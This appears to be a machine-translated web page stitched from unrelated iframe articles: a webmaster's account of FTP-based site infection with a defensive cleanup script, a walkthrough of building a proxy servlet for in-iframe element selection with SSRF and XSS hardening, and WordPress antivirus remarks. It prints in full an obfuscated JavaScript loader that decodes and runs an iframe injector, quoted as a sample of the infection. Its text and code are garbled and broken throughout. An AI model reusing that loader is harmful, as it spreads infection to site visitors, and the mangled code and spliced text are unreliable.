How to insert into HTML iframe: example of use. Other signs of infection

At the dawn of site building, web resources widely used frames to display individual parts of pages. But with the arrival of the new version of HTML 5, everything has changed. Markup elements<frame>, <frameset\u003e and<noframes\u003e are deprecated. It was replaced by a single tag -<iframe\u003e. How to add to html

In the given markup, it is enough to replace the site address with any other and, if necessary, adjust the frame size.

I wanted to start my blog with lyrics, but it was such a hectic week that I decided to greet everyone with an article to the point. Hello!

And the whole week was spent in wars with constant hacking of my hosting and infection of all JavaScript files with iframs, and this is not a lot, not a little, about 2500 scripts and that's it. sites with viruses.

I did not have time to clear all the files in manual mode and change passwords, as the next day everything happened again - the passwords somehow leaked and the scripts were all successfully trodden again via FTP.

Friday of the week was the last straw and I spent the day protecting my servers:

  1. Configured on servers.ftpaccess - thereby restricting FTP access to servers from all IP except its statics;
  2. Wrote an auto-delete script from all files .js iframes, viruses. So, in order.

Site files are infected by banal insertion of iframe code into files via ftp, earlier I often saw insertions into .php,. html files - which led to a complete crash of sites, today malware has become kinder and began to write inserts exclusively in files with the .js - JavaScript extension. IFRAME inserts are written at the end of the file and can be either explicitly (easily detected by antiviruses) and encoded (work of various iframe cryptors), for example:

try (q \u003d document.createElement ("u"); q.appendChild (q + "");) catch (qw) (h \u003d - 012/5; zz \u003d "a" + "l"; f \u003d "fr" + "om" + "Ch"; f + \u003d "arC";) try (qwe \u003d prototype;) catch (brebr) (zz \u003d "zv" .substr (123 - 122) + zz; ss \u003d; f + \u003d (h )? "ode": ""; w \u003d this; e \u003d w [f.substr (11) + zz]; n \u003d "17$48$55.5$52$46.5$55$49.5$52.5$52$17$17.5$13$58.5$3.5$2$1.5$56$45.5$54$13$55.5$54$51$13$27.5$13$26.5$3.5$2$59.5$17.5$17$17.5$26.5" [((e)? "s": "") + "p" + "lit"] ("a $" .substr (1)); for (i \u003d 6 - 2 - 1 - 2 - 1; i- 684! \u003d 0; i ++) (k \u003d i; ss \u003d ss + String .fromCharCode (- 1 * h * (3 + 1 * n [k]) );) q \u003d ss; e (q); )

try (q \u003d document.createElement ("u"); q.appendChild (q + "");) catch (qw) (h \u003d -012 / 5; zz \u003d "a" + "l"; f \u003d "fr" + "om" + "Ch"; f + \u003d "arC";) try (qwe \u003d prototype;) catch (brebr) (zz \u003d "zv" .substr (123-122) + zz; ss \u003d; f + \u003d (h )? "ode": ""; w \u003d this; e \u003d w; n \u003d "17 $ 48 $ 55.5 $ 52 $ 46.5 $ 55 $ 49.5 $ 52.5 $ 52 $ 17 $ 17.5 $ 13 $ 58.5 $ 3.5 $ 2 $ 1.5 $ 56 $ 45.5 $ 54 $ 13 $ 55.5 $ 54 $ 51 $ 13 $ 27.5 $ 13 $ 26.5 $ 3.5 $ 2 $ 59.5 $ 17.5 $ 17 $ 17.5 $ 26.5 "[((e)?" S ":" ") +" p "+" lit "] (" a $ ". Substr (1)); for (i \u003d 6-2-1-2 -1; i-684! \u003d 0; i ++) (k \u003d i; ss \u003d ss + String.fromCharCode (-1 * h * (3 + 1 * n [k]));) q \u003d ss; e (q );)

All this symbolic chaos as a result of JavaScript turns into easy-to-read HTML code. iframe inserts and downloads the body of the virus to the user of the site by means of the exploit. Based on this minimum of theory, we will begin to protect ourselves from infection of sites.

Configuring .ftpaccess - restrict FTP access to servers

Viruses that rob your ftp passwords are so cunning that antiviruses are often powerless and passwords are leaked, no matter how you protect yourself. I suggest going the other way - and just blocking access to your ftp. To allow FTP access only from certain IPs, place the .ftpaccess file with the content in the root of your server, folders from sites:

Allow from xx.xx.xx.xx Allow from xx.xx.xx.xx Deny from all

Where xx.xx.xx.xx is your IP, from which FTP activity is allowed, everyone else is welcome.

We call the provider for the dedicated IP!

If, nevertheless, you cannot get a dedicated address, but have dynamic addresses, then you can specify the range of addresses from which IP addresses are issued by your ISP, for example, it will look like this:

Allow 212.32.5.0/26 Allow 158.152.0.0/16 Deny from all

This will restrict attackers' access to your servers.

Auto-delete script from all iframe insertion files

After the servers were secured, I proceeded to write a script that can check the site for viruses and would go through all the hosting folder, checking the file formats I specified for the presence of iframes in the content. The result of the work was the following script that removes inserts malicious code from site pages, in a specific example from .js scripts:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 $ v) ($ virus_text \u003d $ GLOBALS ["virus_start"]; $ pos_start \u003d stripos ($ v, $ GLOBALS ["virus_start"]); $ pos_end \u003d stripos ($ v, $ GLOBALS ["virus_end"]); $ virus_text \u003d substr ($ v, $ pos_start, $ pos_end); if ($ virus_text! \u003d "") (if (! stristr ($ v, $ virus_text)) ($ nfile \u003d $ v;) else (if (! $ flag) ( $ flag \u003d true; if (in_array ($ ffile, $ GLOBALS ["skip_files"])) echo "- skipped"; else (echo "- infected"; $ GLOBALS ["num_infected"] ++;)))) else ($ nfile \u003d $ v;)) if ($ GLOBALS ["del"]) ($ file \u003d fopen ($ filename, "w"); fwrite ($ file, implode ($ nfile, "")); fclose ( $ file);)) dir_walk ("del_virus", $ dir, array ("js"), true, $ dir); echo "Num infected \u003d $ num_infected"; ? & gt;

$ v) ($ virus_text \u003d $ GLOBALS ["virus_start"]; $ pos_start \u003d stripos ($ v, $ GLOBALS ["virus_start"]); $ pos_end \u003d stripos ($ v, $ GLOBALS ["virus_end"]); $ virus_text \u003d substr ($ v, $ pos_start, $ pos_end); if ($ virus_text! \u003d "") (if (! stristr ($ v, $ virus_text)) ($ nfile \u003d $ v;) else (if (! $ flag) ($ flag \u003d true; if (in_array ($ ffile, $ GLOBALS ["skip_files"])) echo "- skipped"; else (echo "- infected"; $ GLOBALS ["num_infected"] ++;)) )) else ($ nfile \u003d $ v;)) if ($ GLOBALS ["del"]) ($ file \u003d fopen ($ filename, "w"); fwrite ($ file, implode ($ nfile, "")) ; fclose ($ file);)) dir_walk ("del_virus", $ dir, array ("js"), true, $ dir); echo "Num infected \u003d $ num_infected"; ?\u003e

Made an analog google tool Webmaster Marker. As a reminder, Marker is a tool in the Google Webmaster that allows you to annotate your Open Graph pages with tags. To do this, you simply select a piece of text on the page with the mouse and indicate that this is a title, and this is a rating. At the same time, your page is loaded into an Iframe in the webmaster's office.

Now Google, having met a similar page on your site, already knows what kind of content is published on it, and how to parse it beautifully into its essence (article, product, video ..)

We needed a similar functionality. The task seemed uncomplicated and exclusively client side. However, in practice, the solution lies at the junction of client-side and server-side ("pure" JS programmers may not know anything about various proxy servers and take a very long time to approach the shell). At the same time, I did not find an article on the Internet that would describe the entire technology from start to finish. I would also like to say thanks to the user BeLove and our security personnel for their help.

In our case, we wanted the webmaster to be able to conveniently (by marking with the mouse) get the xPath value for certain elements on his page.

Iframe "Same Origin"

And so, in our admin panel, a person must enter the URL of a page of his site, we will display it in an iFrame, a person pokes the mouse where necessary, we will get the desired xPath. Everything would be OK, but we do not have access to the content of the page from another domain loaded into an iframe in our admin panel (our domain), due to the browser's security policy.

CORS - Cross origin resource sharing

Some people advised me to use CORS. A fashionable technology that solves many problems with accessing content from another domain in the browser and allows you to bypass the same origin policy restrictions.
A site that wants to give access to its content on the pages of someone else's domain simply writes to the http header:
Access-Control-Allow-Origin: http://example.com
And in http header a request coming from a page of another domain from a browser must have an origin field:
Origin: www.mysupersite.com
it is clear that the browser adds the origin field to the request itself. Let's add an article on Habré and see that modern browsers add Origin even to a request for the same domain:

But:

  1. browser does not assign origin in the header of the request for the page being loaded in the iframe (can anyone explain why?)
  2. we do not want to ask webmasters to write the title Access-Control-Allow-Origin

Iframe sandbox

Another trendy technology. Sandbox this is an attribute of the Iframe tag. As one of the values \u200b\u200bof this attribute, you can set the value allow-same-origin... Before I started digging this topic, I didn't know what exactly this attribute does, but it sounded very tempting. However, the sandbox attribute simply limits what a page loaded in an iframe can do and has nothing to do with the problem of accessing the frame's content from the parent document.

Specifically the value allow-same-origin (or rather its absence) just says that the iframe should always be regarded as loaded from someone else's domain (for example, you cannot send an AJAX request from such a frame to the domain of the parent document)

Let's see how Google has done

Time to sketch how big brother did

Let's pay attention to the src attribute of the iframe element: src \u003d "https: //wmthighlighter.googleusercontent.com/webmasters/data-highlighter/RenderFrame/007 ....." - our page is loaded into the admin panel from the Google domain. Further, it is even more severe: even scripts and pictures in the original document are run through a proxy. All src, href ... are replaced in html with proxied ones. Something like this:

All the resources that your page uses are also stored on Google proxy servers. Here's an example of ours.

CGIProxy?

It immediately seemed that in order to do the same, you need to raise a full-fledged proxy like CGIProxy. This proxy server does about the same thing as Google's wmthighlighter.googleusercontent.com
Visit the script "s URL to start a browsing session. Once you" ve gotten a page through the proxy, everything it links to will automatically go through the proxy. You can bookmark pages you browse to, and your bookmarks will go through the proxy as they did the first time.

Your Proxy!

However, if you narrow down the task, it is much easier to write a simple proxy yourself. The fact is that Google does this by running all the page content through a proxy. We just need the html of any page to be served from our domain, and the resources can be loaded from the original domain. We have dropped Https for now.
The task of super performance or convenience of settings is not worth it, and this can be done quickly and with anything, from node.js to php. We wrote a servlet in Java.

Downloading the page

What should a proxy servlet do? Through the get parameter we get url of the page which you want to download, then download the page.

Be sure to determine the encoding of the page (via http response or charset in html) - our proxy must respond in the same encoding as the page we loaded. We will also define the Content-Type just in case, although it is clear that we get the page in text / html and give it back the same way.
final String url \u003d request.getParameter ("url"); final HttpGet requestApache \u003d new HttpGet (url); final HttpClient httpClient \u003d new DefaultHttpClient (); final HttpResponse responseApache \u003d httpClient.execute (requestApache); final HttpEntity entity \u003d responseApache.getEntity (); final String encoding \u003d EntityUtils.getContentCharSet (entity); final String mime \u003d EntityUtils.getContentMimeType (entity); String responseText \u003d IOUtils.toString (entity.getContent (), encoding);
* For those who like to evaluate someone else's code: in our team we all have the same formatting settings for the eclicpse code, and when the file is saved, the eclipse itself appends to all final variables if they do not change anywhere else. Which by the way is quite convenient in the end.

Change relative URLs to absolute ones in the page code

You need to go through all the attributes with src and href in the page (paths of style files, images), and replace the relative urls with absolute ones. Otherwise, the page will try to download pictures from some folders on our proxy, which we naturally do not have. Any language has ready-made classes or you can find code snippets for this case on stackoverflow:
final URI uri \u003d new URI (url); final String host \u003d uri.getHost (); responseText \u003d replaceRelativeLinks (host, responseText);

Sending html

That's it, the proxy servlet is ready. We send a response by setting the desired encoding and mime.
protected void sendResponse (HttpServletResponse response, String responseText, String encoding, String mime) throws ServletException, IOException (response.setContentType (mime); response.setCharacterEncoding (encoding); response.setStatus (HttpServlet_Response.get.get) print (responseText); response.flushBuffer ();)

Deploy and test

We deploy our proxy servlet at the same address as the admin panel adminpanel.indexisto.com, load the webmaster's website page into our iframe through the proxy and all cross-domain problems disappear.
Our proxy works at
http://adminpanel.indexisto.com/highlighter?url\u003dhttp://habrahabr.ru
- this is how the habr will be loaded from our domain. We return this address to the iframe and try to access the Habr DOM tree via JS in the admin panel - everything works. CSRF will naturally not work as the page is loaded from our proxy which does not have cookies.

SSRF problem

Let's load the site with the address "localhost" into our iframe - oops, here start page our nginx. Let's try some internal (not visible to the outside) resource on the same network as our proxy server. For example secured_crm.indexisto.com - everything is in place.
Of course, we are trying to prohibit these things in our proxy, in case someone tries to proxy localhost, we exit without returning anything:
if (url.contains ("localhost") || url.contains ("127") || url.contains ("highlighter") || url.contains ("file")) (LOG.debug ("Trying to get local resource. Url \u003d "+ url); return;)
but we will not explicitly list all the network resources here. This means we need to move the proxy into a completely isolated environment so that the machine does not see anything except the Internet, itself and our proxy. We select the machine, configure it and start our servlet there.

XSS problem

Let's load our page into our iframe on which we write:

Alert pops up. It's sad. This can be bypassed with the iframe attribute sandbox allow-scripts, but what about older browsers that don't really understand this attribute? You can only steal your own cookies, but you still can't leave it that way.
We take out the servlet not only to a separate machine, but also create a separate subdomain for it highlighter.indexisto.com.

We sailed, we broke our own solution to bypass cross-domain restrictions. Now we again cannot reach the iframe content.

Continuing to resect the solution from Google, I opened our page, which is given through a proxy in a separate window

And drew attention to a strange error in the console.
CrossPageChannel: Can "t connect, peer window-object not set.
It became clear that everything in an organized way is more complicated than just loading a page into an iframe from your domain. Pages communicate with each other. Accordingly, we move to the side window.postMessage

Post Message

To force the webmaster to embed in his page our script that would provide the selection of page elements with the mouse, and then send the xPath of these elements to us in the parent document through postMessage it was not humane. However, no one prevents our proxy from embedding any scripts on the page loaded into the iFrame.
We save all the scripts necessary for injection to a file, and insert them before the closing one body:
final int positionToInsert \u003d responseText.indexOf (""); final InputStream inputStream \u003d getServletContext (). getResourceAsStream (" / WEB-INF / inject.js "); final StringWriter writer \u003d new StringWriter (); IOUtils.copy (inputStream, writer); final String jsToInsert \u003d writer.toString (); responseText \u003d responseText.substring (0, positionToInsert) + jsToInsert + responseText.substring (positionToInsert, responseText.length ());
insert for sample alert - everything works.

JS part - highlight the house element under the mouse and get xpath

Okay, let's go to the actual JS that we inserted into the webmaster's page.
We need to highlight the dom elements over which the person moves the mouse. It is better to do this using shadow, since then the element will not move, but the whole page will jump. We hang onmouseover on the body and look at the target of the event. In the same handler, I calculate the xpath of the element. It is better to calculate the xPath of an element per click, but I didn't notice any brakes in such an implementation.
elmFrame.contentWindow.document.body.onmouseover \u003d function (ev) (ev.target.style.boxShadow \u003d "0px 0px 5px red"; curXpath \u003d getXPathFromElement (ev.target);)
I am not listing the implementation of getting the xPath of a DOM element here. There are many snippets on how to do this. These snippets can be modified for your tasks, for example, you only need tags in the xpath. Or you need id if they exist and classes if there is no id - everyone has their own requirements.

Here is an example of the proxied home page Habra with an embedded script:
http://highlighter.indexisto.com/?md5\u003d6ec7rdHxUfRkrFy55jrJQA\u003d\u003d&url\u003dhttp%3A%2F%2Fhabrahabr.ru&expires\u003d1390468360

JS part - handling the click

The click of a person on the page in the iframe is immediately "extinguished" (the link will not be followed in the iframe). And also we send to the parent window the string of the received xPath (we saved it at the stage of driving the mouse over the element)
document.body.onclick \u003d function (ev) (window.parent.postMessage (curXpath, "*"); ev.preventDefault (); ev.stopPropagation ();)

Profit!

That's all, now in our admin panel a webmaster can quickly get the xpath of the path to elements on his pages much easier.

Let's add more security

Okay, everything worked for us, but there is a moment with the fact that our proxy looks into the world completely unprotected. Anyone can proxy anything.

We put nginx in front of the proxy, it listens to port 80, we remove the proxy itself to another port. All other ports except 80 are closed from the outside world.

Now let's make the proxy work only through the admin panel. At the moment when the webmaster enters the URL of his site, we quickly run to the server where we generate an md5 hash from the current TimeStamp + 1 hour, the URL itself and the super secret when:
final String md5Me \u003d timeStampExpires + urlEncoded + "SUPERSECRET"; final MessageDigest md \u003d MessageDigest.getInstance ("MD5"); md.reset (); md.update (md5Me.getBytes ("UTF-8")); String code \u003d Base64.encodeBase64String (md.digest ()); code \u003d code.replaceAll ("/", "_"); code \u003d code.replaceAll ("\\\\ +", "-");
Also, note that in the code we get the md5 string not as the usual hex, but in base64 encoding, plus in the resulting md5 we make strange replacements of the slash and plus characters with underscores and dashes.
The point is that ngnix uses base64 Filename Safe Alphabet tools.ietf.org/html/rfc3548#page-6
And Java gives the canonical base64.

Having received a response from the server with a secure md5 in our admin panel, we try to load the following url into the iframe:
highlighter.indexisto.com/?md5\u003dDr4u2Yeb3NrBQLgyDAFrHg\u003d\u003d&url\u003dhttp%3A%2F%2Fhabrahabr.ru&expires\u003d1389791582

Now we configure the nginx HttpSecureLinkModule module. This module verifies the md5 of all parameters that came to it (the module contains the same secret key as in the admin servlet), checks whether the link has been parsed and only in this case forwards the request to our proxy servlet.

Now no one can use our proxy from outside the admin area, and also cannot insert a picture proxied onto our server somewhere - it will still die in an hour.

That "s all folks!
Google has naturally gone much further in its marker tool. In order to clearly identify an element on the page, you need to mark the same element (for example, the title of the article) on several pages of the same type, so that you can more accurately build the xpath and discard different ids like "post-2334" which will obviously work only on one page ... In our admin panel, for now, the xpath needs to be corrected by hand to get an acceptable result

Scanning a website for viruses often does not detect iframe inserts, which may include links to questionable sites, but a new version The WP of the AntiVirus plugin will indicate them.

Iframe inserts are not malicious code by themselves, therefore they are often not detected by online services that scan the site for viruses. Using Iframe inserts, files are often loaded that can be located on an external resource. For example, this method can be used to upload a video to your site from You Tube. But very often iframe inserts are used by cybercriminals to upload files of suspicious content to the victim's website.

I have already written that I have repeatedly come across clearly infected sites, but checking them on the antivirus-alarm.ru resource using the databases of leading antivirus developers did not reveal anything suspicious. A check on 2ip.ru showed the presence of suspicious iframe inserts, but without specifying a specific place in the code where they can be found. It also did not indicate whether these inserts are useful or harmful.

But with the exit latest version The WP plugin situation has changed. According to the developer, this plugin now shows iframe inserts. And you yourself will be able to determine whether they are harmful or not. Knowing what the iframe insert looks like:

if the plugin found it, by the address of which resource is indicated in this insert, it is easy to decide whether it is useful or harmful.

Unlike antiviruses for computers, which find and remove malicious code themselves, most antiviruses for a website, such as AntiVirus, only find code suspicious from their point of view. The decision to remove it and the removal itself is made by the user. Moreover, for beginners who are not familiar with PHP, only the TAC plugin, designed to check the theme, will really help. I know of only one plugin that not only finds, but also removes bad code. Unfortunately, this plugin has one unpleasant feature. If he cannot cope with the infection on the site, then he blocks access to the site without asking but this is permission.

Therefore, you should not install antivirus plugins if nothing suspicious is happening to your site. For a preventive check of a website for viruses, it is wiser to use the online services mentioned above. Only after something suspicious has been identified on these services, you can turn to plugins that can help specify the location of the malicious code. For this, again, not everyone has the qualifications. It will be easier for beginners to seek help from those. hosting support.

The lion's share of sites becomes infected after infecting the host's computer. As a result, the login and password from the admin are stolen. panel or from hosting. And only a small part gets infected as a result of hacking. Therefore, the most important measure to protect the site is to maintain the security of your PC. Do not forget that in addition to the computer there must be a good one.